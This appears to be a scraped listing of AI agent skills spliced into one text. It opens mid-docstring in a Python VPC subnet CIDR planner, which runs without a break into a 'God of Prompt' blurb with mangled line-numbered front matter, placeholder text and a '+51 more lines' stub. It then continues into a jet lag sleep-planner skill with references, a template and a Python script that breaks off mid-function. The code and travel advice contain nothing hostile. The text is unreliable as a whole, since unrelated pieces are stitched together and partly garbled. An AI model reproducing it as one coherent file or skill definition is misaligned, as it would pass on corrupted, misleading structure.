HIGH PEER_OVERLAP VPC CIDR overlaps a peered / VPN / on-prem network (routing breaks)
HIGH NO_SPACE a request does not fit in the remaining space
MEDIUM DOCKER_DEFAULT VPC overlaps 172.17.0.0/16 (default docker0 bridge)
MEDIUM PUBLIC_RANGE VPC CIDR is not private (RFC 1918 / 100.64.0.0/10)
MEDIUM PREFIX_LIMIT requested or VPC prefix outside the provider limits
LOW LOW_HEADROOM less than 25% of the VPC left free after the plan
LOW SINGLE_ZONE all requests in one zone (no zone redundancy)
Usage:
python3 cidr_plan.py plan.json
python3 cidr_plan.py plan.json --json
python3 cidr_plan.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import ipaddress as ip
import json
import math
import sys
RESERVED = {"aws": 5, "azure": 5, "gcp": 4, "generic": 2}
HEAD_RESERVED = {"aws": 4, "azure": 4, "gcp": 2, "generic": 1} # rest are at the end of the block
LIMITS = {"aws": (16, 28), "azure": (8, 29), "gcp": (8, 29), "generic": (8, 30)}
PRIVATE = [ip.ip_network(c) for c in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "100.64.0.0/10")]
DOCKER = ip.ip_network("172.17.0.0/16")
class PlanError(ValueError):
pass
def net(cidr, what="cidr"):
try:
n = ip.ip_network(str(cidr).strip(), strict=True)
except ValueError as e:
raise PlanError(f"bad {what} {cidr!r}: {e}")
if n.version != 4:
raise PlanError(f"only IPv4 is supported: {cidr!r}")
return n
def usable(prefix, provider):
return max(0, 2 ** (32 - prefix) - RESERVED[provider])
def prefix_for(hosts, provider, growth):
need = math.ceil(hosts * (1 + growth))
lo, hi = LIMITS[provider]
for p in range(hi, lo - 1, -1):
if usable(p, provider) >= need:
return p
return None
def find_slot(vpcs, taken, prefix):
for v in vpcs:
if prefix < v.prefixlen:
continue
for cand in v.subnets(new_prefix=prefix):
if not any(cand.overlaps(t) for t in taken):
return cand
return None
def plan(cfg):
provider = str(cfg.get("provider", "generic")).lower()
if provider not in RESERVED:
raise PlanError(f"unknown provider {provider!r} (aws, azure, gcp, generic)")
vpcs = [net(c, "vpc_cidr") for c in cfg.get("vpc_cidrs") or []]
if not vpcs:
raise PlanError("vpc_cidrs is empty")
lo, hi = LIMITS[provider]
findings = []
def f(sev, code, where, msg):
findings.append({"severity": sev, "code": code, "where": where, "message": msg})
for v in vpcs:
if not any(v.subnet_of(p) for p in PRIVATE):
f("MEDIUM", "PUBLIC_RANGE", str(v), "not an RFC 1918 or 100.64.0.0/10 range; it may clash with real internet addresses")
if v.overlaps(DOCKER):
f("MEDIUM", "DOCKER_DEFAULT", str(v), "overlaps 172.17.0.0/16, the default docker0 bridge; containers on hosts in this VPC may lose routes")
if provider == "aws" and not (16 <= v.prefixlen <= 28):
f("MEDIUM", "PREFIX_LIMIT", str(v), "AWS VPC CIDR blocks must be /16 to /28")
for i, a in enumerate(vpcs):
for b in vpcs[i + 1:]:
if a.overlaps(b):
raise PlanError(f"vpc_cidrs overlap each other: {a} and {b}")
existing = []
for e in cfg.get("existing") or []:
n = net(e.get("cidr"), "existing cidr")
name = e.get("name") or str(n)
if not any(n.subnet_of(v) for v in vpcs):
f("HIGH", "OUTSIDE_VPC", name, f"{n} is not inside {', '.join(map(str, vpcs))}")
for other_name, o in existing:
if n.overlaps(o):
f("HIGH", "OVERLAP_EXISTING", name, f"{n} overlaps {other_name} {o}")
existing.append((name, n))
taken = [n for _, n in existing]
for p in cfg.get("peers") or []:
n = net(p.get("cidr"), "peer cidr")
name = p.get("name") or str(n)
for v in vpcs:
if v.overlaps(n):
f("HIGH", "PEER_OVERLAP", name, f"{n} overlaps VPC {v}; traffic to the overlapping range cannot be routed both ways (renumber one side or use NAT)")
taken.append(n)
reqs = []
for r in cfg.get("requests") or []:
name = r.get("name") or "subnet"
hosts = r.get("hosts", 0)
if not isinstance(hosts, int) or isinstance(hosts, bool) or hosts < 1:
raise PlanError(f"request {name!r}: hosts must be a positive integer")
growth = r.get("growth", 0.3)
if not isinstance(growth, (int, float)) or growth < 0:
raise PlanError(f"request {name!r}: growth must be >= 0")
if "prefix" in r:
pfx = r["prefix"]
if not isinstance(pfx, int) or not 8 <= pfx <= 30:
raise PlanError(f"request {name!r}: prefix must be an integer 8..30")
if not lo <= pfx <= hi:
f("MEDIUM", "PREFIX_LIMIT", name, f"/{pfx} is outside {provider} subnet limits /{lo}../{hi}")
else:
pfx = prefix_for(hosts, provider, growth)
reqs.append({"name": name, "hosts": hosts, "growth": growth, "zone": r.get("zone", ""), "prefix": pfx})
allocs = []
order = sorted(range(len(reqs)), key=lambda i: (reqs[i]["prefix"] if reqs[i]["prefix"] is not None else -1, i))
for i in order:
r = reqs[i]
slot = find_slot(vpcs, taken, r["prefix"]) if r["prefix"] is not None else None
if slot is None:
f("HIGH", "NO_SPACE", r["name"], f"needs {r['hosts']} hosts (+{round(r['growth'] * 100)}% growth) and no free aligned block is left")
allocs.append(dict(r, cidr=None, usable=0))
continue
taken.append(slot)
u = usable(slot.prefixlen, provider)
tail = RESERVED[provider] - HEAD_RESERVED[provider]
allocs.append(dict(r, cidr=str(slot), usable=u,
first=str(slot[HEAD_RESERVED[provider]]) if u else "-",
last=str(slot[-1 - tail]) if u else "-"))
if u < r["hosts"]:
f("HIGH", "NO_SPACE", r["name"], f"/{slot.prefixlen} gives only {u} usable addresses for {r['hosts']} hosts")
allocs.sort(key=lambda a: (a["cidr"] is None, ip.ip_network(a["cidr"]) if a["cidr"] else 0))
total = sum(v.num_addresses for v in vpcs)
used = 0
inside = [t for t in taken if any(t.subnet_of(v) for v in vpcs)]
for t in ip.collapse_addresses(inside):
used += t.num_addresses
free = total - used
free_blocks = []
for v in vpcs:
rest = [v]
for t in ip.collapse_addresses([x for x in inside if x.subnet_of(v)]):
nxt = []
for b in rest:
if t.subnet_of(b):
nxt.extend(b.address_exclude(t))
elif not b.subnet_of(t):
nxt.append(b)
rest = nxt
free_blocks.extend(sorted(rest))
if total and free / total < 0.25:
f("LOW", "LOW_HEADROOM", "plan", f"only {free / total:.0%} of the VPC address space is left free")
zones = {r["zone"] for r in reqs if r["zone"]}
if len(reqs) > 1 and len(zones) == 1:
f("LOW", "SINGLE_ZONE", "plan", f"all requests are in {zones.pop()}; spread subnets over at least two zones")
rank = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
findings.sort(key=lambda x: rank[x["severity"]])
return {"name": cfg.get("name", "network plan"), "provider": provider, "vpcs": [str(v) for v in vpcs],
"existing": [{"name": n, "cidr": str(c)} for n, c in existing],
"allocations": allocs, "total": total, "used": used, "free": free,
"free_blocks": [str(b) for b in free_blocks], "findings": findings}
def report(res):
out = [f"# Subnet plan: {res['name']}", "",
f"Provider: {res['provider']} (reserves {RESERVED[res['provider']]} addresses per subnet) VPC: {', '.join(res['vpcs'])}", "",
"| Subnet | Zone | Hosts now | Growth | CIDR | Usable | First host | Last host |", "|---|---|---|---|---|---|---|---|"]
for a in res["allocations"]:
out.append(f"| {a['name']} | {a['zone'] or '-'} | {a['hosts']} | {round(a['growth'] * 100)}% | {a['cidr'] or 'NOT PLACED'} | "
f"{a['usable']} | {a.get('first', '-')} | {a.get('last', '-')} |")
if res["existing"]:
out += ["", "Existing subnets kept: " + ", ".join(f"{e['name']} {e['cidr']}" for e in res["existing"])]
pct = res["free"] / res["total"] if res["total"] else 0
out += ["", f"Address space: {res['used']} of {res['total']} used or blocked, {res['free']} free ({pct:.0%})",
"Largest free blocks: " + (", ".join(sorted(res["free_blocks"], key=lambda c: ip.ip_network(c).prefixlen)[:6]) or "none"),
"", "## Findings"]
if not res["findings"]:
out.append("- none")
for x in res["findings"]:
out.append(f"- **{x['severity']} {x['code']}** ({x['where']}): {x['message']}")
return "\n".join(out) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
ok("aws /24 usable 251", usable(24, "aws") == 251)
ok("generic /24 usable 254", usable(24, "generic") == 254)
ok("gcp /29 usable 4", usable(29, "gcp") == 4)
ok("900 hosts +50% on aws -> /21", prefix_for(900, "aws", 0.5) == 21)
ok("250 hosts no growth aws -> /24", prefix_for(250, "aws", 0) == 24)
ok("252 hosts no growth aws -> /23", prefix_for(252, "aws", 0) == 23)
ok("too big for aws -> None", prefix_for(70000, "aws", 0) is None)
base = {"provider": "aws", "vpc_cidrs": ["10.0.0.0/16"]}
r = plan(dict(base, requests=[{"name": "a", "hosts": 200, "zone": "z1"}, {"name": "b", "hosts": 1000, "zone": "z2"}]))
cid = {a["name"]: a["cidr"] for a in r["allocations"]}
ok("largest first gets lowest block", cid == {"b": "10.0.0.0/21", "a": "10.0.8.0/23"})
ok("clean plan has no findings", r["findings"] == [])
aa = [a for a in r["allocations"] if a["name"] == "a"][0]
ok("first/last host skip aws reserved", (aa["first"], aa["last"]) == ("10.0.8.4", "10.0.9.254"))
g = plan({"provider": "gcp", "vpc_cidrs": ["10.0.0.0/16"], "requests": [{"name": "a", "hosts": 100, "growth": 0}]})["allocations"][0]
ok("gcp reserves 2 head + 2 tail", (g["cidr"], g["first"], g["last"]) == ("10.0.0.0/25", "10.0.0.2", "10.0.0.125"))
r = plan(dict(base, existing=[{"name": "old", "cidr": "10.0.0.0/22"}], requests=[{"name": "a", "hosts": 1000}]))
ok("allocation avoids existing", r["allocations"][0]["cidr"] == "10.0.8.0/21")
r = plan(dict(base, existing=[{"name": "x", "cidr": "10.0.0.0/24"}, {"name": "y", "cidr": "10.0.0.128/25"}]))
ok("overlap existing flagged", any(x["code"] == "OVERLAP_EXISTING" for x in r["findings"]))
r = plan(dict(base, existing=[{"name": "x", "cidr": "10.1.0.0/24"}]))
ok("outside vpc flagged", any(x["code"] == "OUTSIDE_VPC" for x in r["findings"]))
r = plan(dict(base, peers=[{"name": "vpn", "cidr": "10.0.4.0/22"}], requests=[{"name": "a", "hosts": 900, "growth": 0}]))
ok("peer overlap flagged", any(x["code"] == "PEER_OVERLAP" for x in r["findings"]))
ok("allocation avoids peer range", r["allocations"][0]["cidr"] == "10.0.0.0/22")
r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/24"], "requests": [{"name": "a", "hosts": 200}]})
ok("no space flagged", any(x["code"] == "NO_SPACE" for x in r["findings"]))
r = plan({"provider": "generic", "vpc_cidrs": ["172.16.0.0/12"]})
ok("docker default flagged", any(x["code"] == "DOCKER_DEFAULT" for x in r["findings"]))
r = plan({"provider": "generic", "vpc_cidrs": ["8.8.0.0/16"]})
ok("public range flagged", any(x["code"] == "PUBLIC_RANGE" for x in r["findings"]))
r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/8"]})
ok("aws vpc /8 flagged", any(x["code"] == "PREFIX_LIMIT" for x in r["findings"]))
r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/22"], "requests": [{"name": "a", "hosts": 400, "zone": "z1"}, {"name": "b", "hosts": 300, "zone": "z1"}]})
ok("low headroom flagged", any(x["code"] == "LOW_HEADROOM" for x in r["findings"]))
ok("single zone flagged", any(x["code"] == "SINGLE_ZONE" for x in r["findings"]))
r = plan(dict(base, requests=[{"name": "a", "hosts": 10, "prefix": 30}]))
ok("forced /30 on aws flagged", any(x["code"] == "PREFIX_LIMIT" for x in r["findings"]))
r = plan(dict(base, requests=[{"name": "a", "hosts": 1000}]))
ok("free blocks cover rest", sum(ip.ip_network(b).num_addresses for b in r["free_blocks"]) == 65536 - 2048)
for bad, label in ((dict(base, vpc_cidrs=[]), "empty vpc"), (dict(base, vpc_cidrs=["10.0.0.1/16"]), "host bits set"),
(dict(base, provider="oracle"), "unknown provider"), (dict(base, requests=[{"hosts": 0}]), "zero hosts"),
(dict(base, vpc_cidrs=["10.0.0.0/16", "10.0.128.0/17"]), "overlapping vpcs"),
(dict(base, vpc_cidrs=["fd00::/48"]), "ipv6")):
try:
plan(bad)
ok(label + " rejected", False)
except PlanError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Plan and check VPC subnet CIDR blocks.")
ap.add_argument("file", nargs="?", help="network plan JSON")
ap.add_argument("--json", action="store_true", help="print machine-readable JSON")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a plan JSON file or --self-test")
try:
cfg = json.load(open(a.file, encoding="utf-8"))
res = plan(cfg)
except (OSError, json.JSONDecodeError, PlanError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else report(res), end="" if not a.json else "\n")
return 1 if any(x["severity"] == "HIGH" for x in res["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())The God of Prompt is designed to create high-quality, versatile prompts for language models like ChatGPT and Claude. It harnesses various thinking styles, such as Critical, Creative, Systems, and Reflective Thinking, and incorporates a sophisticated AI Prompt Generator System persona. This GPT synthesizes user inputs, applies multiple prompt creation methods, and adheres to specific instructions and guidance, ensuring the generation of prompts that are tailored, insightful, and effective.
1---2name: god-of-prompt3description: The God of Prompt is designed to create high-quality, versatile prompts for language models like ChatGPT and Claude. It harnesses various thinking styles, such as Critical, Creative, Systems, and Reflective Thinking, and incorporates a sophisticated AI Prompt Generator System persona. This GPT synthesizes user inputs, applies multiple prompt creation methods, and adheres to specific instructions and guidance, ensuring the generation of prompts that are tailored, insightful, and effective.45---67# God of Prompt89Describe what this skill does and how the agent should use it.10...+51 more lines
Builds a day-by-day jet lag plan from flight times and your usual sleep hours. Computes the DST-aware time difference, chooses advance or delay (including the long way round for big eastward trips), estimates days to adjust, and lists pre-trip bedtime shifts, in-flight sleep, and daily sleep windows, light to seek and avoid, caffeine cut-off and nap limits. Flags short trips. Includes a stdlib Python planner with --self-test.
---
name: jet-lag-sleep-shift-planner
description: Builds a day-by-day jet lag plan from flight times and your usual sleep hours. Computes the DST-aware time difference, chooses advance or delay (including the long way round for big eastward trips), estimates days to adjust, and lists pre-trip bedtime shifts, in-flight sleep, and daily sleep windows, light to seek and avoid, caffeine cut-off and nap limits. Flags short trips. Includes a stdlib Python planner with --self-test.
---
# Jet Lag Sleep Shift Planner
You help travelers arrive rested. From real flight times and their normal sleep schedule, you build a practical day-by-day plan: when to sleep, when to get bright light and when to avoid it, when to stop coffee, whether to sleep on the plane, and whether shifting before the trip is worth it. You explain the why in plain words and keep the plan realistic for the person's calendar.
## Files in this skill
- `scripts/jetlag_plan.py` - computes the shift, strategy, pre-trip days, in-flight sleep and a daily table of sleep, light, caffeine and nap times (Python 3 standard library only; IANA zones via zoneinfo or fixed offsets like UTC+3)
- `references/body-clock-basics.md` - body clock, adjustment rates, the light rule around CBTmin, meals, caffeine, naps, melatonin caution, when to see a doctor
- `references/trip-strategies.md` - strategy by trip length, pre-trip shifting, on the plane, arrival day, the return trip, a checklist
- `templates/jet-lag-plan.md` - a one-page plan to fill in or print
- `examples/istanbul-to-los-angeles.json` - an 11-hour westward conference trip in November, with a return trip
## Workflow
### 1. Gather the trip
Ask for origin and destination cities (or time zones), departure local time and date, arrival local time and date, the usual bedtime and wake time, how many days they can shift before the trip (0-3), how long they stay, and any important events (talks, meetings, a wedding). Also ask if they have health conditions or time-critical medication; if yes, add a reminder to plan it with a doctor or pharmacist.
### 2. Run the planner
```
python3 scripts/jetlag_plan.py examples/istanbul-to-los-angeles.json
python3 scripts/jetlag_plan.py --from Europe/Istanbul --to Asia/Tokyo --depart 2026-11-10T01:30 --arrive 2026-11-10T19:05 --bedtime 23:00 --wake 07:00 --pre-days 3 --stay 10
python3 scripts/jetlag_plan.py trip.json --json
python3 scripts/jetlag_plan.py --self-test
```
If the tz database is missing (some Windows Pythons), use offsets like `UTC+3` and `-8`, or `pip install tzdata`. Exit code 2 means bad input.
### 3. Shape the plan
Use `references/trip-strategies.md`: for SHORT_TRIP, recommend staying on home time; for SMALL_SHIFT, no special plan. Move important events into the body's good hours or suggest arriving earlier. Explain the light windows with `references/body-clock-basics.md` and give practical ways to follow them (morning walk, window seat at breakfast, sunglasses on the commute, dim lights in the hotel).
### 4. Deliver
Fill `templates/jet-lag-plan.md` with the table and the 3-5 most important actions. Offer to add the sleep and light windows as calendar reminders.
## Example result
For `examples/istanbul-to-los-angeles.json` (Istanbul -> Los Angeles on 2026-11-03, after US DST ends): -11 h, delay at about 1.5 h/day; 2 pre-trip days with bedtime 00:30 then 01:30; sleep on the plane during LA night 02:40-07:00; about 6 days to adjust after arrival, starting with sleep 21:30-05:30 and bright light 16:30-19:30 on day 0, back to 23:30-07:30 on day 6; the return trip (+11 h) is planned the long way round as a 13 h delay, about 9 days.
## Rules
- This is general wellness guidance, not medical advice; do not give melatonin or sleep medication doses.
- Respect the person's constraints (kids, work hours); a partial plan they follow beats a perfect one they skip.
- Never suggest unsafe sleep deprivation or driving while very sleepy; recommend a nap or a taxi instead.
- Use local times in every table and say which clock (home or destination) each section uses.
FILE:references/body-clock-basics.md
# Body Clock Basics for Travelers
## Why jet lag happens
Your body clock (circadian rhythm) runs on home time and shifts only gradually. After crossing time zones, sleepiness, hunger, alertness and digestion stay on home time for days. Typical symptoms: trouble falling asleep or waking at 3 a.m., daytime sleepiness, poor focus, upset stomach.
## How fast the clock moves
| Direction | Clock change | Typical rate | Feels like |
|---|---|---|---|
| East (Istanbul -> Tokyo) | advance (earlier) | about 1 h per day | harder; trouble falling asleep at night |
| West (Istanbul -> Los Angeles) | delay (later) | about 1.5 h per day | easier; sleepy early evening, awake at 4 a.m. |
These are averages; age, sleep debt, alcohol and light exposure change them.
For shifts of about 10-12 hours east, the clock often adjusts "the long way round" by delaying instead (for example +11 h east becomes -13 h of delay at 1.5 h/day = 9 days instead of 11). The planner picks whichever takes fewer days.
## The light rule
The strongest signal for the body clock is bright light. Its effect depends on timing relative to the **core body temperature minimum (CBTmin)**, which falls about 2-3 hours before your usual wake time (for a 07:30 riser, around 04:30 body time).
- Light in the ~3 hours **after** CBTmin moves the clock **earlier** (advance; needed when flying east).
- Light in the ~3 hours **before** CBTmin moves the clock **later** (delay; needed when flying west).
- Light at the wrong time pushes the clock the wrong way, which is why the plan also lists times to avoid bright light (sunglasses outdoors, dim indoor lights, screen night mode).
Because CBTmin moves each day, the windows move too. When a window falls during sleep, the planner moves it to the nearest waking time.
## Other signals
- **Sleep timing:** keep the plan's sleep window, even if you cannot sleep at first; rest in the dark.
- **Meals:** eat on local time from the first day; a big breakfast in daylight helps when advancing.
- **Exercise:** morning exercise helps advance, early-evening exercise helps delay; avoid hard workouts within 2 hours of bed.
- **Caffeine:** helps alertness but stays in the body for 5-6 hours (half-life); stop about 8 hours before bed.
- **Naps:** up to 20 minutes, before the plan's "naps end by" time. Long naps anchor you to home time.
- **Alcohol:** makes sleep worse and dehydration worse; skip it on the flight.
- **Melatonin:** often used for eastward trips, but timing and dose matter and it is a medicine in many countries. Ask a doctor or pharmacist; the planner gives no dosing.
## When to see a doctor first
Pregnancy, epilepsy, bipolar disorder (light and sleep changes can trigger episodes), diabetes with insulin (meal and dose timing across zones), heart conditions, sleep apnea, or regular medication taken at fixed times (contraceptive pills, anticoagulants, epilepsy drugs). Plan the medication schedule with a professional.
FILE:references/trip-strategies.md
# Trip Strategies
## Pick the strategy by trip length and shift
| Trip | Shift | Strategy |
|---|---|---|
| 1-2 days | any | Stay on home time. Book meetings inside your home daytime, keep home sleep hours, use caffeine and short naps. |
| 3-5 days | up to 3 h | Switch to local time on arrival; no pre-trip shift needed. |
| 3-5 days | 4+ h | Partial shift: 1-2 pre-trip days and the light plan for the first days; accept some lag. |
| 6+ days | 4+ h | Full plan: 2-3 pre-trip days, light plan until adjusted. |
| Important event on day 1-2 | 6+ h | Arrive earlier if possible (one day per 1-1.5 h of shift is ideal), or schedule the event in the body's best hours. |
## Pre-trip shifting
Move bedtime and wake time 1 hour per day toward the destination for 1-3 days (earlier for east, later for west), with light at the planner's "seek" times. Even 2 hours of pre-shift removes 1-2 days of jet lag. Stop if it hurts work or family routines; partial is fine.
## On the plane
- Set your watch and phone to destination time when you board.
- If the flight crosses destination night, sleep then: eye mask, ear plugs or noise-cancelling headphones, neck pillow, no alcohol. Otherwise stay awake with light and short naps only.
- Drink water regularly; walk and stretch every 1-2 hours.
- Eat at destination meal times when practical.
## Arrival day
- Westward evening arrival: go outside in daylight if any is left, stay up until the planned bedtime (a 20-minute nap before the cut-off is fine).
- Eastward morning arrival: follow the seek/avoid light windows; if you must work, put bright tasks in the seek window.
## Coming home
The return trip is a new shift in the opposite direction. Use the planner again with the return flight; plan 1-2 easy days after landing if you can.
## Business traveler checklist
- [ ] Planner run with real flight times
- [ ] Calendar: no critical meetings in the body's night
- [ ] Hotel: blackout curtains or eye mask; ask for a quiet room
- [ ] Light: sunglasses for avoid windows, a walk or a light box for seek windows
- [ ] Medication timing checked with a pharmacist
FILE:templates/jet-lag-plan.md
# Jet Lag Plan - <traveler> - <origin> to <destination>
**Flight:** <depart local> -> <arrive local> (<hours> h) **Time difference:** <+/- h> **Strategy:** <advance / delay / stay on home time>
**Usual sleep:** <bedtime>-<wake> **Pre-trip shift:** <h> **Expected days to adjust:** <n>
## Before the trip
| Date | Sleep | Bright light | Avoid light | Notes |
|---|---|---|---|---|
| | | | | |
## Flight
- Sleep on board: <times or "stay awake">
- Meals: <destination times>
- Watch set to destination time: [ ]
## At the destination
| Date | Sleep | Bright light | Avoid light | Caffeine until | Naps end by | Key events |
|---|---|---|---|---|---|---|
| | | | | | | |
## Packing
- [ ] Eye mask and ear plugs - [ ] Sunglasses - [ ] Water bottle - [ ] Medication schedule (checked with a professional)
## Return
- Shift: <h>, about <n> days to readjust; easy days planned: <dates>
FILE:examples/istanbul-to-los-angeles.json
{
"traveler": "conference trip, usual sleep 23:30-07:30",
"from_tz": "Europe/Istanbul",
"to_tz": "America/Los_Angeles",
"depart": "2026-11-03T13:40",
"arrive": "2026-11-03T17:25",
"bedtime": "23:30",
"wake": "07:30",
"pre_trip_days": 2,
"stay_days": 8,
"return_trip": true
}
FILE:scripts/jetlag_plan.py
#!/usr/bin/env python3
"""Jet lag sleep shift planner (Python 3 standard library only).
Input: a trip JSON file (or the same fields as command-line flags):
{"from_tz": "Europe/Istanbul", "to_tz": "America/Los_Angeles",
"depart": "2026-11-03T13:40", "arrive": "2026-11-03T17:25",
"bedtime": "23:30", "wake": "07:30", "pre_trip_days": 2, "stay_days": 8}
Time zones: IANA names (zoneinfo, DST-aware; needs the system tz database or the tzdata
package) or fixed offsets like "UTC+3", "+05:30", "-8". depart is local time at the origin,
arrive is local time at the destination.
Model (rules of thumb used by sleep clinics, not a medical device):
- shift = destination offset - origin offset, normalized to -12..+12 h (+ = east).
- the body clock moves about 1 h/day when advancing (eastward) and 1.5 h/day when
delaying (westward); for big eastward shifts the planner picks the direction that
takes fewer days (often delaying "the long way round").
- optional pre-trip shift: 1 h/day for pre_trip_days, toward the destination.
- core body temperature minimum (CBTmin) ~3 h before usual wake time. Light in the 3 h
after CBTmin advances the clock, light in the 3 h before it delays the clock.
- planned sleep is a compromise: target local bedtime moved toward body time by
min(2 h, half the remaining gap). Caffeine stops 8 h and naps (max 20 min) end 7 h
before planned bedtime.
Usage:
python3 jetlag_plan.py trip.json
python3 jetlag_plan.py --from Europe/Istanbul --to Asia/Tokyo --depart 2026-11-10T01:30 \
--arrive 2026-11-10T19:05 --bedtime 23:00 --wake 07:00 --pre-days 3 --stay 10
python3 jetlag_plan.py trip.json --json
python3 jetlag_plan.py --self-test
Exit code: 0 OK, 2 bad input.
"""
import argparse
import datetime as dt
import json
import math
import re
import sys
ADVANCE_RATE = 1.0
DELAY_RATE = 1.5
class TripError(ValueError):
pass
def parse_tz(name):
s = str(name).strip()
m = re.fullmatch(r"(?:UTC|GMT)?\s*([+-])(\d{1,2})(?::?(\d{2}))?", s, re.I)
if m:
sign = 1 if m.group(1) == "+" else -1
mins = int(m.group(2)) * 60 + int(m.group(3) or 0)
if mins > 14 * 60:
raise TripError(f"offset out of range: {s!r}")
return dt.timezone(dt.timedelta(minutes=sign * mins), s)
if s.upper() in ("UTC", "GMT", "Z"):
return dt.timezone.utc
try:
from zoneinfo import ZoneInfo
return ZoneInfo(s)
except Exception:
raise TripError(f"unknown time zone {s!r}; use an IANA name like Europe/Istanbul or an offset like UTC+3")
def parse_hm(s, field):
m = re.fullmatch(r"(\d{1,2}):(\d{2})", str(s).strip())
if not m or int(m.group(1)) > 23 or int(m.group(2)) > 59:
raise TripError(f"{field} must be HH:MM, got {s!r}")
return int(m.group(1)) * 60 + int(m.group(2))
def parse_local(s, tz, field):
try:
t = dt.datetime.fromisoformat(str(s).strip())
except ValueError:
raise TripError(f"{field} must be YYYY-MM-DDTHH:MM, got {s!r}")
if t.tzinfo is not None:
t = t.replace(tzinfo=None)
return t.replace(tzinfo=tz)
def hm(mins):
mins = round(mins) % 1440
return f"{mins // 60:02d}:{mins % 60:02d}"
def offset_h(t):
return t.utcoffset().total_seconds() / 3600
def choose_direction(shift):
"""shift in -12..12 (east positive). Return (signed hours to move the body, rate, label)."""
if shift == 0:
return 0.0, ADVANCE_RATE, "none"
if shift > 0:
adv_days = math.ceil(shift / ADVANCE_RATE)
alt = shift - 24
del_days = math.ceil(-alt / DELAY_RATE)
if del_days < adv_days:
return alt, DELAY_RATE, "delay (long way round)"
return shift, ADVANCE_RATE, "advance"
del_days = math.ceil(-shift / DELAY_RATE)
alt = shift + 24
adv_days = math.ceil(alt / ADVANCE_RATE)
if adv_days < del_days:
return alt, ADVANCE_RATE, "advance (long way round)"
return shift, DELAY_RATE, "delay"
def night_overlap(start_utc, end_utc, tz, night_start=22 * 60, night_end=7 * 60):
"""Return list of (start_local, end_local) pieces of the flight inside destination nights."""
pieces = []
t = start_utc
step = dt.timedelta(minutes=5)
cur = None
while t < end_utc:
loc = t.astimezone(tz)
m = loc.hour * 60 + loc.minute
is_night = m >= night_start or m < night_end
if is_night and cur is None:
cur = loc
if not is_night and cur is not None:
pieces.append((cur, loc))
cur = None
t += step
if cur is not None:
pieces.append((cur, end_utc.astimezone(tz)))
return pieces
def overlap(a0, a1, b0, b1):
"""Minutes of overlap between [a0, a1) and [b0, b1) on a 24 h circle."""
best = 0
for k in (-1440, 0, 1440):
best += max(0, min(a1, b1 + k) - max(a0, b0 + k))
return best
def light_windows(cbt, sign, sleep_start, sleep_len):
"""Seek/avoid windows around CBTmin, moved or clipped to waking hours.
sign > 0 (advance): seek 3 h after CBTmin, avoid 3 h before; sign < 0 (delay): the reverse.
A seek window that falls into planned sleep moves to the nearest waking edge (after wake
when advancing, before bedtime when delaying). Avoid windows are clipped to waking time."""
sleep_end = sleep_start + sleep_len
if sign > 0:
seek, avoid = (cbt, cbt + 180), (cbt - 180, cbt)
if overlap(seek[0], seek[1], sleep_start, sleep_end):
seek = (sleep_end, sleep_end + 180)
else:
seek, avoid = (cbt - 180, cbt), (cbt, cbt + 180)
if overlap(seek[0], seek[1], sleep_start, sleep_end):
seek = (sleep_start - 180, sleep_start)
ov = overlap(avoid[0], avoid[1], sleep_start, sleep_end)
if ov >= 180:
avoid_s = "asleep"
elif ov:
# keep the waking part of the avoid window
a0, a1 = avoid
if overlap(a0, a0 + 1, sleep_start, sleep_end):
a0 = a1 - (180 - ov)
else:
a1 = a0 + (180 - ov)
avoid_s = f"{hm(a0)}-{hm(a1)}"
else:
avoid_s = f"{hm(avoid[0])}-{hm(avoid[1])}"
return f"{hm(seek[0])}-{hm(seek[1])}", avoid_s
def plan(trip):
for k in ("from_tz", "to_tz", "depart", "arrive"):
if not trip.get(k):
raise TripError(f"missing {k}")
ftz, ttz = parse_tz(trip["from_tz"]), parse_tz(trip["to_tz"])
dep = parse_local(trip["depart"], ftz, "depart")
arr = parse_local(trip["arrive"], ttz, "arrive")
if arr.astimezone(dt.timezone.utc) <= dep.astimezone(dt.timezone.utc):
raise TripError("arrive must be after depart (check the dates and time zones)")
bed = parse_hm(trip.get("bedtime", "23:00"), "bedtime")
wake = parse_hm(trip.get("wake", "07:00"), "wake")
sleep_len = (wake - bed) % 1440
if not 4 * 60 <= sleep_len <= 12 * 60:
raise TripError("bedtime to wake must be 4-12 hours")
pre = int(trip.get("pre_trip_days", 0))
stay = int(trip.get("stay_days", 7))
if pre < 0 or pre > 4 or stay < 1:
raise TripError("pre_trip_days must be 0-4 and stay_days at least 1")
shift = offset_h(arr) - offset_h(dep.astimezone(ftz))
shift = ((shift + 12) % 24) - 12 if abs(shift) > 12 else shift
if shift == -12:
shift = 12.0
move, rate, direction = choose_direction(shift)
sign = 1 if move > 0 else -1
flags = []
if abs(shift) <= 2:
flags.append("SMALL_SHIFT: 2 h or less; most people adapt within a day, keep usual habits on local time")
if stay <= 2 and abs(shift) >= 3:
flags.append("SHORT_TRIP: 2 days or fewer; consider staying on home time and scheduling meetings inside your home daytime")
if "long way round" in direction:
flags.append(f"LONG_WAY_ROUND: a {shift:+g} h shift is planned as {move:+g} h, which usually takes fewer days")
pre_used = min(pre, int(abs(move))) if move else 0
pre_days = []
for i in range(1, pre_used + 1):
b = bed - sign * 60 * i
cbt = wake - 180 - sign * 60 * i
seek_s, avoid_s = light_windows(cbt, sign, b, sleep_len)
pre_days.append({"day": f"pre {i - pre_used - 1}", "date": str((dep.date() - dt.timedelta(days=pre_used - i + 1))),
"sleep": f"{hm(b)}-{hm(b + sleep_len)}", "seek_light": seek_s,
"avoid_light": avoid_s, "clock": "home time"})
body = sign * pre_used # hours already moved toward destination
total = abs(move)
days_needed = math.ceil(max(0.0, total - pre_used) / rate) if move else 0
days = []
d = 0
while True:
remaining = move - body # signed hours the body is still away from local time
gap = abs(remaining)
comp = min(120, gap * 60 / 2)
